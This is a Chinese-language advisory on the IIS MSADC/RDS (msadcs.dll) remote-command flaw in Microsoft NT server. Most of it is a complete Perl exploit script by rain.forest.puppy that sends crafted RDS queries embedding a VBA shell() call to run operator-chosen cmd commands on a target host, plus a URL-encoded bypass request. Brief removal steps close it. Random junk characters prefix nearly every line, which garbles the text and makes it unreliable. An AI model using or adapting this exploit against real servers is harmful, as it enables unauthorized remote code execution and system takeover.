IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
nK96A.B%p ZjI^0D8 涉及程序:
R/^ rh Microsoft NT server
f O(.I UNhD 描述:
T:}Ed_m}q 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
k2;8~LqF F%Mlid;1 详细:
9X*q^u 如果你没有时间读详细内容的话,就删除:
.OWIlT4K c:\Program Files\Common Files\System\Msadc\msadcs.dll
*aT!|; 有关的安全问题就没有了。
XM=`(e
o nwkhGQ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
L$ ON=$q5 Nvew^c)x 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
6U""TR! 关于利用ODBC远程漏洞的描述,请参看:
q&W#nWBV H+: $ 7; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5?I]\Tb $==hr^H 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
hi
]+D= S http://www.microsoft.com/security/bulletins/MS99-025faq.asp MBwp{ET!p Fvv6<E 这里不再论述。
S%T1na^x 4a646jg) 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[%h^qJ i$NnHj| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
jgO{DNe(= 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
67sb
D<r dm 2_Fj Q,DumOq #将下面这段保存为txt文件,然后: "perl -x 文件名"
c9ZoO; {Rz`)qqE #!perl
Lh,<q
>t #
Em?skUnG, # MSADC/RDS 'usage' (aka exploit) script
LvA IAknc #
H R
V/ A # by rain.forest.puppy
|LjCtm)@+ #
ca`=dwe> # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
kO9yei
# beta test and find errors!
>l7
o/*4 M,{F/Yu use Socket; use Getopt::Std;
:g\qj? o getopts("e:vd:h:XR", \%args);
9c?izp A lA ,%'+- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
`}=Fw0 U$J]^-AS if (!defined $args{h} && !defined $args{R}) {
|zUDu\MZ{ print qq~
i &KbzOY Usage: msadc.pl -h <host> { -d <delay> -X -v }
|Y99s)2&N -h <host> = host you want to scan (ip or domain)
K:{Q~+
-d <seconds> = delay between calls, default 1 second
]pGr'T~Gj -X = dump Index Server path table, if available
n/8fv~zU -v = verbose
Ln:
y|t -e = external dictionary file for step 5
Gs9jX/# v>e4a/ Or a -R will resume a command session
+HcH]D; I2/wu(~> ~; exit;}
E7D^6G&i f2Slsl; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
UnMDdJ\ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2n7[Op if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
md2kZ.5u if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}i[jJb`bY $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%Wu8RG} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
MdKZH\z/ :L?zk"0C if (!defined $args{R}){ $ret = &has_msadc;
q<UqGj7#
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S
xg Yq pp-Ur?PM print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Gah e-%J . "cmd /c ";
!bY{T#i)k $in=<STDIN>; chomp $in;
q\/|nZO4 $command="cmd /c " . $in ;
9QYU
J $ OR>JnV if (defined $args{R}) {&load; exit;}
f9rToH ywdNwNJ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
\\T
I4A^# &try_btcustmr;
p
2i5/Ly b9v Kux print "\nStep 2: Trying to make our own DSN...";
(= \P|iv &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
C6Mb(& '(Bs<)(H print "\nStep 3: Trying known DSNs...";
xM*v!J, &known_dsn;
HC0puLt_ k~gQn:.Cx print "\nStep 4: Trying known .mdbs...";
b6i0_fOO &known_mdb;
E=B9FIx~< COT;KC6
n if (defined $args{e}){
*?8Q:@: print "\nStep 5: Trying dictionary of DSN names...";
b
9?w
_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
4VooU [Ka( qzLRA.#f^ print "Sorry Charley...maybe next time?\n";
X}Csl~W8in exit;
(0][hdI~B oT_,k}L IX ##############################################################################
OW.ckYt% "K@os< sub sendraw { # ripped and modded from whisker
v
;9s sleep($delay); # it's a DoS on the server! At least on mine...
W,<Vr2J[ my ($pstr)=@_;
m&x0,8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C +IXP die("Socket problems\n");
'D-imLV<< if(connect(S,pack "SnA4x8",2,80,$target)){
Nhf!;> select(S); $|=1;
UO&S6M]v7 print $pstr; my @in=<S>;
;EJ6C#}
>7 select(STDOUT); close(S);
7~65 @&P> return @in;
%_u3Np } else { die("Can't connect...\n"); }}
IFE C_F> OO$<Wgh ##############################################################################
s810714 *=
D$ sub make_header { # make the HTTP request
IKU- my $msadc=<<EOT
kz&)a>aA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W t8 RC User-Agent: ACTIVEDATA
khIh<-s! Host: $ip
J3zb_!PPE Content-Length: $clen
=y4g. J\ Connection: Keep-Alive
J+;.t&5R F3qi$ 3HM ADCClientVersion:01.06
!9!Ns(vUM Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ecFI"g o0/03O --!ADM!ROX!YOUR!WORLD!
Qh *|mW Content-Type: application/x-varg
z[';HJ0O; Content-Length: $reqlen
@#V{@@3$ X=JSqO6V9 EOT
OVd"'|&6_ ; $msadc=~s/\n/\r\n/g;
*=I#VN*_<. return $msadc;}
~/NA?E-c e"bF"L ##############################################################################
-1{N#c/U 5|Y4GQVz sub make_req { # make the RDS request
b+C>p2 % my ($switch, $p1, $p2)=@_;
dv,8iOL my $req=""; my $t1, $t2, $query, $dsn;
1S=I(n?E @wg*~"d if ($switch==1){ # this is the btcustmr.mdb query
A>PM'$"sT $query="Select * from Customers where City=" . make_shell();
*s!8BwiE $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
prwyP $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_W!g'HP-D ="u(o(j" elsif ($switch==2){ # this is general make table query
uwIZzz
$query="create table AZZ (B int, C varchar(10))";
x=H*"L= $dsn="$p1";}
1{,WY(,c ,:#prT[P" elsif ($switch==3){ # this is general exploit table query
K.cNx $query="select * from AZZ where C=" . make_shell();
sz)3
z $dsn="$p1";}
F;z FKvn D~1nh%x_ elsif ($switch==4){ # attempt to hork file info from index server
;Y~;G7 $query="select path from scope()";
2D-*Z=5^ $dsn="Provider=MSIDXS;";}
0]WM:6 h R#r?<Ofw4 elsif ($switch==5){ # bad query
/,;9hx $query="select";
Bf7RW[ -v $dsn="$p1";}
/yI~(8bO k_^d7yH $t1= make_unicode($query);
MTF:mLJ $t2= make_unicode($dsn);
2x{3' ^+l $req = "\x02\x00\x03\x00";
>g F $req.= "\x08\x00" . pack ("S1", length($t1));
$EtZ5?qS $req.= "\x00\x00" . $t1 ;
fkx
9I m4 $req.= "\x08\x00" . pack ("S1", length($t2));
2L,e\]2Z $req.= "\x00\x00" . $t2 ;
<oR Nd3d $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"+rX*~ return $req;}
H,uOshR O@ "6)/ ##############################################################################
jeJGxfi i O<+C$J| sub make_shell { # this makes the shell() statement
c XY!b=9 return "'|shell(\"$command\")|'";}
o30PI EatpORq ##############################################################################
*m|]c4 E]gKJVf9[ sub make_unicode { # quick little function to convert to unicode
beq)Frn^ my ($in)=@_; my $out;
}
HvVL}7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
H_$"]iQ return $out;}
31_5k./ 8RocObY_W ##############################################################################
!|`YNsR =GLsoc-b sub rdo_success { # checks for RDO return success (this is kludge)
@P~u k my (@in) = @_; my $base=content_start(@in);
S>'wb{jj! if($in[$base]=~/multipart\/mixed/){
qV(Plt% return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3rWqt return 0;}
-m__I U lID5mg31 ##############################################################################
[szwPNQ_ FUHjY sub make_dsn { # this makes a DSN for us
5[ @4($q8 my @drives=("c","d","e","f");
yP"_j&ef7 print "\nMaking DSN: ";
is`a_{5e= foreach $drive (@drives) {
?$o8=h print "$drive: ";
Jw86P= my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2x`#
f0[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
m=n
V$H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1dKLNE $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7g=Ze~aq return 0 if $2 eq "404"; # not found/doesn't exist
J"SAA0)@ if($2 eq "200") {
}b0qrr foreach $line (@results) {
=,(Ba' return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3kJAaI8 } return 0;}
R!,RZ?|v zL>nDnL 4 ##############################################################################
7gJ`G@y l\(t~Q sub verify_exists {
_o`'b80; my ($page)=@_;
n,fUoS my @results=sendraw("GET $page HTTP/1.0\n\n");
R Jg# A` return $results[0];}
1W-!f% y[}BFUy ##############################################################################
QALMF rWH air{1="<- sub try_btcustmr {
+]AE}UXZoh my @drives=("c","d","e","f");
cW3;5 my @dirs=("winnt","winnt35","winnt351","win","windows");
.*y{[."! yCQpqh foreach $dir (@dirs) {
Qs4Jl ;Y _ print "$dir -> "; # fun status so you can see progress
zg^5cHP\ foreach $drive (@drives) {
>w
V$az print "$drive: "; # ditto
>u6kT\|^C $reqlen=length( make_req(1,$drive,$dir) ) - 28;
iedoL0# $reqlenlen=length( "$reqlen" );
:qnRiK] $clen= 206 + $reqlenlen + $reqlen;
{wd.aUB |"ck;.) my @results=sendraw(make_header() . make_req(1,$drive,$dir));
lQ)8zI if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
K;YK[M1! else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=b;v:HC c[Y7tj%y ##############################################################################
O[-wm;_(=* ZL@7Mr!e sub odbc_error {
)ll}hGS my (@in)=@_; my $base;
#%x4^A9 q my $base = content_start(@in);
0$P40 7
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
0w\gxd~' $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[.0R"|$sy+ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8rw;Yo<k $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Kp!P/Q{ return $in[$base+4].$in[$base+5].$in[$base+6];}
*WOA",gZ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
!WrUr]0IP print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V&qXsyg $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
?SS?I y/Nvts2!C ##############################################################################
Z|3l2ucl bluC P| sub verbose {
*X,vu2(I-= my ($in)=@_;
C
YnBZ return if !$verbose;
r{Xh]U&>k print STDOUT "\n$in\n";}
/LJ?JwAvg5 bk"` hq ##############################################################################
-BB 5bsjA JSO>rpO sub save {
dmf~w_(7 my ($p1, $p2, $p3, $p4)=@_;
N=|w]t0*yc open(OUT, ">rds.save") || print "Problem saving parameters...\n";
siOeR@>X print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
`oq
3G } close OUT;}
/(vT49(] -B@jQg@
> ##############################################################################
ncu>
@K$n Y5(`/ sub load {
\alRBH qE my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"IB)=Hc open(IN,"<rds.save") || die("Couldn't open rds.save\n");
jp2l}C @p=<IN>; close(IN);
}/M ~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
o.sa?* $target= inet_aton($ip) || die("inet_aton problems");
3}XUYF; print "Resuming to $ip ...";
;)UZT^f`)K $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
EV]exYWB if($p[1]==1) {
>6(nW:I0y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
`yc.A%5 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9t;aJFI my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rMLCtGi if (rdo_success(@results)){print "Success!\n";}
Kx#G_N@ else { print "failed\n"; verbose(odbc_error(@results));}}
nfl6`)oW elsif ($p[1]==3){
Is-Kz}4L if(run_query("$p[3]")){
UD"e:O_ print "Success!\n";} else { print "failed\n"; }}
-6Cxz./#yS elsif ($p[1]==4){
JTdK\A>l if(run_query($drvst . "$p[3]")){
KLbP;:sr print "Success!\n"; } else { print "failed\n"; }}
oA73\BFfP exit;}
{T=I~#LjMI 8qt|2% ##############################################################################
%#"uK:(N (}bP`[@rX! sub create_table {
]`+>{Sx 1 my ($in)=@_;
a*=\-;HaZ $reqlen=length( make_req(2,$in,"") ) - 28;
dB< \X. $reqlenlen=length( "$reqlen" );
U4M!RdG $clen= 206 + $reqlenlen + $reqlen;
zYF'XB]4 my @results=sendraw(make_header() . make_req(2,$in,""));
&W }ooGg return 1 if rdo_success(@results);
AnI ENJ my $temp= odbc_error(@results); verbose($temp);
3\6jzD return 1 if $temp=~/Table 'AZZ' already exists/;
:0#!= return 0;}
eF:6k qg G4ZeO:r ##############################################################################
:m-HHWMN 6ffrV sub known_dsn {
2Xgn[oI{ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5a-8/.}cP my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
t3G%}d? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
v@< "b U "banner", "banners", "ads", "ADCDemo", "ADCTest");
FWPkvL #2Mz.=#G foreach $dSn (@dsns) {
nwW`Q>+#U print ".";
0
R^Xn next if (!is_access("DSN=$dSn"));
HOXqIZN85 if(create_table("DSN=$dSn")){
5Sk87o1E(d print "$dSn successful\n";
qH"e:
wgL if(run_query("DSN=$dSn")){
L
+-B,466 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{ 5h6nYu print "Something's borked. Use verbose next time\n";}}} print "\n";}
%-H Vk8:;Hj ##############################################################################
9%iqequ L,Uqt, sub is_access {
~h0SD( my ($in)=@_;
u'LA%l- $reqlen=length( make_req(5,$in,"") ) - 28;
Pp#!yMxBr $reqlenlen=length( "$reqlen" );
Jg|/*Or $clen= 206 + $reqlenlen + $reqlen;
aRg-
rz my @results=sendraw(make_header() . make_req(5,$in,""));
aY8>#t? my $temp= odbc_error(@results);
Y~bp:FkS
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
;nSaZ$`5 return 0;}
T3!l{vG
\O 4*d_2:|u ##############################################################################
hDzKB))<w sd.:PE < sub run_query {
,SS@]9A& my ($in)=@_;
ow%s_yV]R $reqlen=length( make_req(3,$in,"") ) - 28;
F5{~2~Cw( $reqlenlen=length( "$reqlen" );
"X"DTP1b $clen= 206 + $reqlenlen + $reqlen;
L 'H1\'
o my @results=sendraw(make_header() . make_req(3,$in,""));
M9 _h0 return 1 if rdo_success(@results);
u6cWLVt my $temp= odbc_error(@results); verbose($temp);
W<v?D6dFq return 0;}
0M-Zp[w\- X~%Wg*Hm ##############################################################################
0 UjT<t^F &c?-z}=G sub known_mdb {
\MX>= my @drives=("c","d","e","f","g");
HrWXPac
A my @dirs=("winnt","winnt35","winnt351","win","windows");
{v<Ig{{V my $dir, $drive, $mdb;
aW$7:<A{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v!K%\h2A A0o6-M]'0 # this is sparse, because I don't know of many
qvhTc6oH my @sysmdbs=( "\\catroot\\icatalog.mdb",
0.bmVN< "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Qx'a+kLu9 "\\system32\\certmdb.mdb",
[Gy sx "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
w,9$*=k
NTls64AS. my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
'I*F(4x "\\cfusion\\cfapps\\forums\\forums_.mdb",
%UY=VE\F "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
jHTaG%oh "\\cfusion\\cfapps\\security\\realm_.mdb",
nEyPNm) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Q/-YLf. "\\cfusion\\database\\cfexamples.mdb",
J(g!>Sp!p "\\cfusion\\database\\cfsnippets.mdb",
k7f[aM 5] "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ayHI(4!$j "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}a-ikFQ] "\\cfusion\\brighttiger\\database\\cleam.mdb",
!5Z?D8dcx "\\cfusion\\database\\smpolicy.mdb",
Nr6YQH*[ "\\cfusion\\database\cypress.mdb",
U7bG(?k) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
\d]&}`'4{f "\\website\\cgi-win\\dbsample.mdb",
9F ).i "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
^L<1S/~) "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
L&q~5 9 ); #these are just
9O~1o?ni foreach $drive (@drives) {
D?8t'3no foreach $dir (@dirs){
5/>G)& foreach $mdb (@sysmdbs) {
%[&cy' print ".";
yV=hi?f-[V if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R-bICGSE print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^7~=+0cF] if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
mJ !}!~: print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
A\.k['! } else { print "Something's borked. Use verbose next time\n"; }}}}}
cD-\fRBGK Vy&F{T;$ foreach $drive (@drives) {
eW0:&*.vMj foreach $mdb (@mdbs) {
2m/1:5 print ".";
Z:)\j. if(create_table($drv . $drive . $dir . $mdb)){
7Ja^d-F7 print "\n" . $drive . $dir . $mdb . " successful\n";
DTAEfs!ZW if(run_query($drv . $drive . $dir . $mdb)){
SDcD(G print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
3sHC1+ } else { print "Something's borked. Use verbose next time\n"; }}}}
*M6M'>Tin }
KvkiwO( E':y3T@." ##############################################################################
g6;O)b pG:FDlR~ sub hork_idx {
H /*^$>0Uo print "\nAttempting to dump Index Server tables...\n";
?gH[tN:= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
nRb#M $reqlen=length( make_req(4,"","") ) - 28;
YdhrFw0`~r $reqlenlen=length( "$reqlen" );
:q0C$xF $clen= 206 + $reqlenlen + $reqlen;
*.n9D my @results=sendraw2(make_header() . make_req(4,"",""));
80c\O-{ if (rdo_success(@results)){
L}lc=\ my $max=@results; my $c; my %d;
F#O.i, for($c=19; $c<$max; $c++){
OfbM]:}<3 $results[$c]=~s/\x00//g;
kc1 *@<L6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
b6R0za $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Bn-%).-ED $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_+.z2} M $d{"$1$2"}="";}
[ wr0TbtV foreach $c (keys %d){ print "$c\n"; }
p+#uPY1# } else {print "Index server doesn't seem to be installed.\n"; }}
){L`hQ*=w LtXFGPQ f ##############################################################################
^mkplp
a }V6}>!Sb sub dsn_dict {
e9o(hL open(IN, "<$args{e}") || die("Can't open external dictionary\n");
i*nNu-g while(<IN>){
Z\4l+.R` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
q#c\ next if (!is_access("DSN=$dSn"));
U3ED3)
D if(create_table("DSN=$dSn")){
7f~.Qus print "$dSn successful\n";
haqL
DVrf if(run_query("DSN=$dSn")){
zT0FTAl^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:
-te print "Something's borked. Use verbose next time\n";}}}
vb\ UP&Ip print "\n"; close(IN);}
=cX&H Nq9@^ E-{M ##############################################################################
`~VV1 WSW aq\9]8 sub sendraw2 { # ripped and modded from whisker
FgKDk!ci sleep($delay); # it's a DoS on the server! At least on mine...
B
,e3r my ($pstr)=@_;
Ycn*aR2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
5 ,q uM" die("Socket problems\n");
#e{l:!uS\ if(connect(S,pack "SnA4x8",2,80,$target)){
GbBcC#0 print "Connected. Getting data";
8! pfy" open(OUT,">raw.out"); my @in;
cRI&cN"o select(S); $|=1; print $pstr;
u\Tq5PYXt while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
cK1r9ED| close(OUT); select(STDOUT); close(S); return @in;
?2aglj*"v, } else { die("Can't connect...\n"); }}
3K_J"B*7 r@/+ ##############################################################################
CRw.UC\ W(9-XlYKE sub content_start { # this will take in the server headers
Y'DI@ my (@in)=@_; my $c;
p*8=($j4 for ($c=1;$c<500;$c++) {
(w6 024~ if($in[$c] =~/^\x0d\x0a/){
}c:s+P+/ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Dc}-wnga else { return $c+1; }}}
LW{7|g return -1;} # it should never get here actually
z^ rf; +YI/(ko= ##############################################################################
wC}anq>> Z[[qW
f sub funky {
jL<:N
8 my (@in)=@_; my $error=odbc_error(@in);
|p-, B>p! if($error=~/ADO could not find the specified provider/){
>h(n8wTP print "\nServer returned an ADO miscofiguration message\nAborting.\n";
LD0x 4zm$m exit;}
2ed$5.D if($error=~/A Handler is required/){
9l]+rs+ print "\nServer has custom handler filters (they most likely are patched)\n";
Tu o`>ZA exit;}
; {iX_% if($error=~/specified Handler has denied Access/){
x&@. [FJhO print "\nServer has custom handler filters (they most likely are patched)\n";
zgI!S6q exit;}}
'-N `u$3Y N^*%{[<5 ##############################################################################
|a*VoMZ bqWo*>l sub has_msadc {
LPc)-t|p" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@!"w.@Y my $base=content_start(@results);
{P&{+`sov return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
"3(""0Q return 0;}
iVu KLBU8% ########################
nD@/,kw" 3"NO"+Q EZ:pcnL{ 解决方案:
m9 o{y6_j* 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
T~8= =Z{[ 2、移除web 目录: /msadc